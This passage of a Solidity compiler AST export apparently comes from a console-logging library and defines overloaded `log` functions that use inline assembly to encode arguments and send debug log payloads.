YulIdentifier","src":"267242:6:22"},"nativeSrc":"267242:16:22","nodeType":"YulFunctionCall","src":"267242:16:22"},"nativeSrc":"267242:16:22","nodeType":"YulExpressionStatement","src":"267242:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42612,"isOffset":false,"isSlot":false,"src":"267139:2:22","valueSize":1},{"declaration":42615,"isOffset":false,"isSlot":false,"src":"267168:2:22","valueSize":1},{"declaration":42618,"isOffset":false,"isSlot":false,"src":"267197:2:22","valueSize":1},{"declaration":42621,"isOffset":false,"isSlot":false,"src":"267226:2:22","valueSize":1},{"declaration":42624,"isOffset":false,"isSlot":false,"src":"267255:2:22","valueSize":1}],"id":42632,"nodeType":"InlineAssembly","src":"267103:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"266497:3:22","parameters":{"id":42609,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42602,"mutability":"mutable","name":"p0","nameLocation":"266509:2:22","nodeType":"VariableDeclaration","scope":42634,"src":"266501:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42601,"name":"uint256","nodeType":"ElementaryTypeName","src":"266501:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42604,"mutability":"mutable","name":"p1","nameLocation":"266521:2:22","nodeType":"VariableDeclaration","scope":42634,"src":"266513:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42603,"name":"uint256","nodeType":"ElementaryTypeName","src":"266513:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42606,"mutability":"mutable","name":"p2","nameLocation":"266530:2:22","nodeType":"VariableDeclaration","scope":42634,"src":"266525:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42605,"name":"bool","nodeType":"ElementaryTypeName","src":"266525:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42608,"mutability":"mutable","name":"p3","nameLocation":"266542:2:22","nodeType":"VariableDeclaration","scope":42634,"src":"266534:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":42607,"name":"address","nodeType":"ElementaryTypeName","src":"266534:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"266500:45:22"},"returnParameters":{"id":42610,"nodeType":"ParameterList","parameters":[],"src":"266560:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42668,"nodeType":"FunctionDefinition","src":"267280:780:22","nodes":[],"body":{"id":42667,"nodeType":"Block","src":"267349:711:22","nodes":[],"statements":[{"assignments":[42646],"declarations":[{"constant":false,"id":42646,"mutability":"mutable","name":"m0","nameLocation":"267367:2:22","nodeType":"VariableDeclaration","scope":42667,"src":"267359:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42645,"name":"bytes32","nodeType":"ElementaryTypeName","src":"267359:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42647,"nodeType":"VariableDeclarationStatement","src":"267359:10:22"},{"assignments":[42649],"declarations":[{"constant":false,"id":42649,"mutability":"mutable","name":"m1","nameLocation":"267387:2:22","nodeType":"VariableDeclaration","scope":42667,"src":"267379:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42648,"name":"bytes32","nodeType":"ElementaryTypeName","src":"267379:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42650,"nodeType":"VariableDeclarationStatement","src":"267379:10:22"},{"assignments":[42652],"declarations":[{"constant":false,"id":42652,"mutability":"mutable","name":"m2","nameLocation":"267407:2:22","nodeType":"VariableDeclaration","scope":42667,"src":"267399:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42651,"name":"bytes32","nodeType":"ElementaryTypeName","src":"267399:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42653,"nodeType":"VariableDeclarationStatement","src":"267399:10:22"},{"assignments":[42655],"declarations":[{"constant":false,"id":42655,"mutability":"mutable","name":"m3","nameLocation":"267427:2:22","nodeType":"VariableDeclaration","scope":42667,"src":"267419:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42654,"name":"bytes32","nodeType":"ElementaryTypeName","src":"267419:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42656,"nodeType":"VariableDeclarationStatement","src":"267419:10:22"},{"assignments":[42658],"declarations":[{"constant":false,"id":42658,"mutability":"mutable","name":"m4","nameLocation":"267447:2:22","nodeType":"VariableDeclaration","scope":42667,"src":"267439:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42657,"name":"bytes32","nodeType":"ElementaryTypeName","src":"267439:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42659,"nodeType":"VariableDeclarationStatement","src":"267439:10:22"},{"AST":{"nativeSrc":"267468:375:22","nodeType":"YulBlock","src":"267468:375:22","statements":[{"nativeSrc":"267482:17:22","nodeType":"YulAssignment","src":"267482:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"267494:4:22","nodeType":"YulLiteral","src":"267494:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"267488:5:22","nodeType":"YulIdentifier","src":"267488:5:22"},"nativeSrc":"267488:11:22","nodeType":"YulFunctionCall","src":"267488:11:22"},"variableNames":[{"name":"m0","nativeSrc":"267482:2:22","nodeType":"YulIdentifier","src":"267482:2:22"}]},{"nativeSrc":"267512:17:22","nodeType":"YulAssignment","src":"267512:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"267524:4:22","nodeType":"YulLiteral","src":"267524:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"267518:5:22","nodeType":"YulIdentifier","src":"267518:5:22"},"nativeSrc":"267518:11:22","nodeType":"YulFunctionCall","src":"267518:11:22"},"variableNames":[{"name":"m1","nativeSrc":"267512:2:22","nodeType":"YulIdentifier","src":"267512:2:22"}]},{"nativeSrc":"267542:17:22","nodeType":"YulAssignment","src":"267542:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"267554:4:22","nodeType":"YulLiteral","src":"267554:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"267548:5:22","nodeType":"YulIdentifier","src":"267548:5:22"},"nativeSrc":"267548:11:22","nodeType":"YulFunctionCall","src":"267548:11:22"},"variableNames":[{"name":"m2","nativeSrc":"267542:2:22","nodeType":"YulIdentifier","src":"267542:2:22"}]},{"nativeSrc":"267572:17:22","nodeType":"YulAssignment","src":"267572:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"267584:4:22","nodeType":"YulLiteral","src":"267584:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"267578:5:22","nodeType":"YulIdentifier","src":"267578:5:22"},"nativeSrc":"267578:11:22","nodeType":"YulFunctionCall","src":"267578:11:22"},"variableNames":[{"name":"m3","nativeSrc":"267572:2:22","nodeType":"YulIdentifier","src":"267572:2:22"}]},{"nativeSrc":"267602:17:22","nodeType":"YulAssignment","src":"267602:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"267614:4:22","nodeType":"YulLiteral","src":"267614:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"267608:5:22","nodeType":"YulIdentifier","src":"267608:5:22"},"nativeSrc":"267608:11:22","nodeType":"YulFunctionCall","src":"267608:11:22"},"variableNames":[{"name":"m4","nativeSrc":"267602:2:22","nodeType":"YulIdentifier","src":"267602:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"267700:4:22","nodeType":"YulLiteral","src":"267700:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"267706:10:22","nodeType":"YulLiteral","src":"267706:10:22","type":"","value":"0xab085ae6"}],"functionName":{"name":"mstore","nativeSrc":"267693:6:22","nodeType":"YulIdentifier","src":"267693:6:22"},"nativeSrc":"267693:24:22","nodeType":"YulFunctionCall","src":"267693:24:22"},"nativeSrc":"267693:24:22","nodeType":"YulExpressionStatement","src":"267693:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"267737:4:22","nodeType":"YulLiteral","src":"267737:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"267743:2:22","nodeType":"YulIdentifier","src":"267743:2:22"}],"functionName":{"name":"mstore","nativeSrc":"267730:6:22","nodeType":"YulIdentifier","src":"267730:6:22"},"nativeSrc":"267730:16:22","nodeType":"YulFunctionCall","src":"267730:16:22"},"nativeSrc":"267730:16:22","nodeType":"YulExpressionStatement","src":"267730:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"267766:4:22","nodeType":"YulLiteral","src":"267766:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"267772:2:22","nodeType":"YulIdentifier","src":"267772:2:22"}],"functionName":{"name":"mstore","nativeSrc":"267759:6:22","nodeType":"YulIdentifier","src":"267759:6:22"},"nativeSrc":"267759:16:22","nodeType":"YulFunctionCall","src":"267759:16:22"},"nativeSrc":"267759:16:22","nodeType":"YulExpressionStatement","src":"267759:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"267795:4:22","nodeType":"YulLiteral","src":"267795:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"267801:2:22","nodeType":"YulIdentifier","src":"267801:2:22"}],"functionName":{"name":"mstore","nativeSrc":"267788:6:22","nodeType":"YulIdentifier","src":"267788:6:22"},"nativeSrc":"267788:16:22","nodeType":"YulFunctionCall","src":"267788:16:22"},"nativeSrc":"267788:16:22","nodeType":"YulExpressionStatement","src":"267788:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"267824:4:22","nodeType":"YulLiteral","src":"267824:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"267830:2:22","nodeType":"YulIdentifier","src":"267830:2:22"}],"functionName":{"name":"mstore","nativeSrc":"267817:6:22","nodeType":"YulIdentifier","src":"267817:6:22"},"nativeSrc":"267817:16:22","nodeType":"YulFunctionCall","src":"267817:16:22"},"nativeSrc":"267817:16:22","nodeType":"YulExpressionStatement","src":"267817:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42646,"isOffset":false,"isSlot":false,"src":"267482:2:22","valueSize":1},{"declaration":42649,"isOffset":false,"isSlot":false,"src":"267512:2:22","valueSize":1},{"declaration":42652,"isOffset":false,"isSlot":false,"src":"267542:2:22","valueSize":1},{"declaration":42655,"isOffset":false,"isSlot":false,"src":"267572:2:22","valueSize":1},{"declaration":42658,"isOffset":false,"isSlot":false,"src":"267602:2:22","valueSize":1},{"declaration":42636,"isOffset":false,"isSlot":false,"src":"267743:2:22","valueSize":1},{"declaration":42638,"isOffset":false,"isSlot":false,"src":"267772:2:22","valueSize":1},{"declaration":42640,"isOffset":false,"isSlot":false,"src":"267801:2:22","valueSize":1},{"declaration":42642,"isOffset":false,"isSlot":false,"src":"267830:2:22","valueSize":1}],"id":42660,"nodeType":"InlineAssembly","src":"267459:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42662,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"267868:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":42663,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"267874:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":42661,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"267852:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42664,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"267852:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42665,"nodeType":"ExpressionStatement","src":"267852:27:22"},{"AST":{"nativeSrc":"267898:156:22","nodeType":"YulBlock","src":"267898:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"267919:4:22","nodeType":"YulLiteral","src":"267919:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"267925:2:22","nodeType":"YulIdentifier","src":"267925:2:22"}],"functionName":{"name":"mstore","nativeSrc":"267912:6:22","nodeType":"YulIdentifier","src":"267912:6:22"},"nativeSrc":"267912:16:22","nodeType":"YulFunctionCall","src":"267912:16:22"},"nativeSrc":"267912:16:22","nodeType":"YulExpressionStatement","src":"267912:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"267948:4:22","nodeType":"YulLiteral","src":"267948:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"267954:2:22","nodeType":"YulIdentifier","src":"267954:2:22"}],"functionName":{"name":"mstore","nativeSrc":"267941:6:22","nodeType":"YulIdentifier","src":"267941:6:22"},"nativeSrc":"267941:16:22","nodeType":"YulFunctionCall","src":"267941:16:22"},"nativeSrc":"267941:16:22","nodeType":"YulExpressionStatement","src":"267941:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"267977:4:22","nodeType":"YulLiteral","src":"267977:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"267983:2:22","nodeType":"YulIdentifier","src":"267983:2:22"}],"functionName":{"name":"mstore","nativeSrc":"267970:6:22","nodeType":"YulIdentifier","src":"267970:6:22"},"nativeSrc":"267970:16:22","nodeType":"YulFunctionCall","src":"267970:16:22"},"nativeSrc":"267970:16:22","nodeType":"YulExpressionStatement","src":"267970:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"268006:4:22","nodeType":"YulLiteral","src":"268006:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"268012:2:22","nodeType":"YulIdentifier","src":"268012:2:22"}],"functionName":{"name":"mstore","nativeSrc":"267999:6:22","nodeType":"YulIdentifier","src":"267999:6:22"},"nativeSrc":"267999:16:22","nodeType":"YulFunctionCall","src":"267999:16:22"},"nativeSrc":"267999:16:22","nodeType":"YulExpressionStatement","src":"267999:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"268035:4:22","nodeType":"YulLiteral","src":"268035:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"268041:2:22","nodeType":"YulIdentifier","src":"268041:2:22"}],"functionName":{"name":"mstore","nativeSrc":"268028:6:22","nodeType":"YulIdentifier","src":"268028:6:22"},"nativeSrc":"268028:16:22","nodeType":"YulFunctionCall","src":"268028:16:22"},"nativeSrc":"268028:16:22","nodeType":"YulExpressionStatement","src":"268028:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42646,"isOffset":false,"isSlot":false,"src":"267925:2:22","valueSize":1},{"declaration":42649,"isOffset":false,"isSlot":false,"src":"267954:2:22","valueSize":1},{"declaration":42652,"isOffset":false,"isSlot":false,"src":"267983:2:22","valueSize":1},{"declaration":42655,"isOffset":false,"isSlot":false,"src":"268012:2:22","valueSize":1},{"declaration":42658,"isOffset":false,"isSlot":false,"src":"268041:2:22","valueSize":1}],"id":42666,"nodeType":"InlineAssembly","src":"267889:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"267289:3:22","parameters":{"id":42643,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42636,"mutability":"mutable","name":"p0","nameLocation":"267301:2:22","nodeType":"VariableDeclaration","scope":42668,"src":"267293:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42635,"name":"uint256","nodeType":"ElementaryTypeName","src":"267293:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42638,"mutability":"mutable","name":"p1","nameLocation":"267313:2:22","nodeType":"VariableDeclaration","scope":42668,"src":"267305:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42637,"name":"uint256","nodeType":"ElementaryTypeName","src":"267305:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42640,"mutability":"mutable","name":"p2","nameLocation":"267322:2:22","nodeType":"VariableDeclaration","scope":42668,"src":"267317:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42639,"name":"bool","nodeType":"ElementaryTypeName","src":"267317:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42642,"mutability":"mutable","name":"p3","nameLocation":"267331:2:22","nodeType":"VariableDeclaration","scope":42668,"src":"267326:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42641,"name":"bool","nodeType":"ElementaryTypeName","src":"267326:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"267292:42:22"},"returnParameters":{"id":42644,"nodeType":"ParameterList","parameters":[],"src":"267349:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42702,"nodeType":"FunctionDefinition","src":"268066:786:22","nodes":[],"body":{"id":42701,"nodeType":"Block","src":"268138:714:22","nodes":[],"statements":[{"assignments":[42680],"declarations":[{"constant":false,"id":42680,"mutability":"mutable","name":"m0","nameLocation":"268156:2:22","nodeType":"VariableDeclaration","scope":42701,"src":"268148:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42679,"name":"bytes32","nodeType":"ElementaryTypeName","src":"268148:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42681,"nodeType":"VariableDeclarationStatement","src":"268148:10:22"},{"assignments":[42683],"declarations":[{"constant":false,"id":42683,"mutability":"mutable","name":"m1","nameLocation":"268176:2:22","nodeType":"VariableDeclaration","scope":42701,"src":"268168:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42682,"name":"bytes32","nodeType":"ElementaryTypeName","src":"268168:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42684,"nodeType":"VariableDeclarationStatement","src":"268168:10:22"},{"assignments":[42686],"declarations":[{"constant":false,"id":42686,"mutability":"mutable","name":"m2","nameLocation":"268196:2:22","nodeType":"VariableDeclaration","scope":42701,"src":"268188:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42685,"name":"bytes32","nodeType":"ElementaryTypeName","src":"268188:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42687,"nodeType":"VariableDeclarationStatement","src":"268188:10:22"},{"assignments":[42689],"declarations":[{"constant":false,"id":42689,"mutability":"mutable","name":"m3","nameLocation":"268216:2:22","nodeType":"VariableDeclaration","scope":42701,"src":"268208:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42688,"name":"bytes32","nodeType":"ElementaryTypeName","src":"268208:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42690,"nodeType":"VariableDeclarationStatement","src":"268208:10:22"},{"assignments":[42692],"declarations":[{"constant":false,"id":42692,"mutability":"mutable","name":"m4","nameLocation":"268236:2:22","nodeType":"VariableDeclaration","scope":42701,"src":"268228:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42691,"name":"bytes32","nodeType":"ElementaryTypeName","src":"268228:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42693,"nodeType":"VariableDeclarationStatement","src":"268228:10:22"},{"AST":{"nativeSrc":"268257:378:22","nodeType":"YulBlock","src":"268257:378:22","statements":[{"nativeSrc":"268271:17:22","nodeType":"YulAssignment","src":"268271:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"268283:4:22","nodeType":"YulLiteral","src":"268283:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"268277:5:22","nodeType":"YulIdentifier","src":"268277:5:22"},"nativeSrc":"268277:11:22","nodeType":"YulFunctionCall","src":"268277:11:22"},"variableNames":[{"name":"m0","nativeSrc":"268271:2:22","nodeType":"YulIdentifier","src":"268271:2:22"}]},{"nativeSrc":"268301:17:22","nodeType":"YulAssignment","src":"268301:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"268313:4:22","nodeType":"YulLiteral","src":"268313:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"268307:5:22","nodeType":"YulIdentifier","src":"268307:5:22"},"nativeSrc":"268307:11:22","nodeType":"YulFunctionCall","src":"268307:11:22"},"variableNames":[{"name":"m1","nativeSrc":"268301:2:22","nodeType":"YulIdentifier","src":"268301:2:22"}]},{"nativeSrc":"268331:17:22","nodeType":"YulAssignment","src":"268331:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"268343:4:22","nodeType":"YulLiteral","src":"268343:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"268337:5:22","nodeType":"YulIdentifier","src":"268337:5:22"},"nativeSrc":"268337:11:22","nodeType":"YulFunctionCall","src":"268337:11:22"},"variableNames":[{"name":"m2","nativeSrc":"268331:2:22","nodeType":"YulIdentifier","src":"268331:2:22"}]},{"nativeSrc":"268361:17:22","nodeType":"YulAssignment","src":"268361:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"268373:4:22","nodeType":"YulLiteral","src":"268373:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"268367:5:22","nodeType":"YulIdentifier","src":"268367:5:22"},"nativeSrc":"268367:11:22","nodeType":"YulFunctionCall","src":"268367:11:22"},"variableNames":[{"name":"m3","nativeSrc":"268361:2:22","nodeType":"YulIdentifier","src":"268361:2:22"}]},{"nativeSrc":"268391:17:22","nodeType":"YulAssignment","src":"268391:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"268403:4:22","nodeType":"YulLiteral","src":"268403:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"268397:5:22","nodeType":"YulIdentifier","src":"268397:5:22"},"nativeSrc":"268397:11:22","nodeType":"YulFunctionCall","src":"268397:11:22"},"variableNames":[{"name":"m4","nativeSrc":"268391:2:22","nodeType":"YulIdentifier","src":"268391:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"268492:4:22","nodeType":"YulLiteral","src":"268492:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"268498:10:22","nodeType":"YulLiteral","src":"268498:10:22","type":"","value":"0xeb7f6fd2"}],"functionName":{"name":"mstore","nativeSrc":"268485:6:22","nodeType":"YulIdentifier","src":"268485:6:22"},"nativeSrc":"268485:24:22","nodeType":"YulFunctionCall","src":"268485:24:22"},"nativeSrc":"268485:24:22","nodeType":"YulExpressionStatement","src":"268485:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"268529:4:22","nodeType":"YulLiteral","src":"268529:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"268535:2:22","nodeType":"YulIdentifier","src":"268535:2:22"}],"functionName":{"name":"mstore","nativeSrc":"268522:6:22","nodeType":"YulIdentifier","src":"268522:6:22"},"nativeSrc":"268522:16:22","nodeType":"YulFunctionCall","src":"268522:16:22"},"nativeSrc":"268522:16:22","nodeType":"YulExpressionStatement","src":"268522:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"268558:4:22","nodeType":"YulLiteral","src":"268558:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"268564:2:22","nodeType":"YulIdentifier","src":"268564:2:22"}],"functionName":{"name":"mstore","nativeSrc":"268551:6:22","nodeType":"YulIdentifier","src":"268551:6:22"},"nativeSrc":"268551:16:22","nodeType":"YulFunctionCall","src":"268551:16:22"},"nativeSrc":"268551:16:22","nodeType":"YulExpressionStatement","src":"268551:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"268587:4:22","nodeType":"YulLiteral","src":"268587:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"268593:2:22","nodeType":"YulIdentifier","src":"268593:2:22"}],"functionName":{"name":"mstore","nativeSrc":"268580:6:22","nodeType":"YulIdentifier","src":"268580:6:22"},"nativeSrc":"268580:16:22","nodeType":"YulFunctionCall","src":"268580:16:22"},"nativeSrc":"268580:16:22","nodeType":"YulExpressionStatement","src":"268580:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"268616:4:22","nodeType":"YulLiteral","src":"268616:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"268622:2:22","nodeType":"YulIdentifier","src":"268622:2:22"}],"functionName":{"name":"mstore","nativeSrc":"268609:6:22","nodeType":"YulIdentifier","src":"268609:6:22"},"nativeSrc":"268609:16:22","nodeType":"YulFunctionCall","src":"268609:16:22"},"nativeSrc":"268609:16:22","nodeType":"YulExpressionStatement","src":"268609:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42680,"isOffset":false,"isSlot":false,"src":"268271:2:22","valueSize":1},{"declaration":42683,"isOffset":false,"isSlot":false,"src":"268301:2:22","valueSize":1},{"declaration":42686,"isOffset":false,"isSlot":false,"src":"268331:2:22","valueSize":1},{"declaration":42689,"isOffset":false,"isSlot":false,"src":"268361:2:22","valueSize":1},{"declaration":42692,"isOffset":false,"isSlot":false,"src":"268391:2:22","valueSize":1},{"declaration":42670,"isOffset":false,"isSlot":false,"src":"268535:2:22","valueSize":1},{"declaration":42672,"isOffset":false,"isSlot":false,"src":"268564:2:22","valueSize":1},{"declaration":42674,"isOffset":false,"isSlot":false,"src":"268593:2:22","valueSize":1},{"declaration":42676,"isOffset":false,"isSlot":false,"src":"268622:2:22","valueSize":1}],"id":42694,"nodeType":"InlineAssembly","src":"268248:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42696,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"268660:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":42697,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"268666:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":42695,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"268644:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42698,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"268644:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42699,"nodeType":"ExpressionStatement","src":"268644:27:22"},{"AST":{"nativeSrc":"268690:156:22","nodeType":"YulBlock","src":"268690:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"268711:4:22","nodeType":"YulLiteral","src":"268711:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"268717:2:22","nodeType":"YulIdentifier","src":"268717:2:22"}],"functionName":{"name":"mstore","nativeSrc":"268704:6:22","nodeType":"YulIdentifier","src":"268704:6:22"},"nativeSrc":"268704:16:22","nodeType":"YulFunctionCall","src":"268704:16:22"},"nativeSrc":"268704:16:22","nodeType":"YulExpressionStatement","src":"268704:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"268740:4:22","nodeType":"YulLiteral","src":"268740:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"268746:2:22","nodeType":"YulIdentifier","src":"268746:2:22"}],"functionName":{"name":"mstore","nativeSrc":"268733:6:22","nodeType":"YulIdentifier","src":"268733:6:22"},"nativeSrc":"268733:16:22","node